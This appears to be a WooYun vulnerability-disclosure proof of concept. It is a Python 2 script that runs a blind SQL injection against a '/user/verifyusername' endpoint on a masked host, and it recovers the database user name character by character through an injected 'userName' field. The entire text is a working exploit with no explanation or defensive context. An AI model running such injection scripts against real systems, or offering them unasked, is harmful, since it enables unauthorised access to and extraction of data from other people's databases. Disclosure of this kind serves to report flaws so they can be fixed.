WooYun.org

#encoding=utf-8
import httplib
import string
import sys
import random
import urllib
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive user:'
user= ''
for i in range(1, 16):
    for payload in payloads:
            s = "userName=mayanqi0610@**.**.**.**' and ascii(lower(substr(user(),%s,1)))=%s and 'a'='a"% (i, ord(payload))
            conn = httplib.HTTPConnection('**.**.**.**', timeout=150)
            conn.request(method='POST',
                         url='/user/verifyusername',
                         body=s,
                         headers=headers)
            resp = conn.getresponse()
            html_doc = resp.read()
            conn.close()
            print '.',       
            if html_doc.count('1') > 0:
                user += payload
                print '\n\n[in progress]', user,
                break
print '\n\n[Done]  user is %s' % user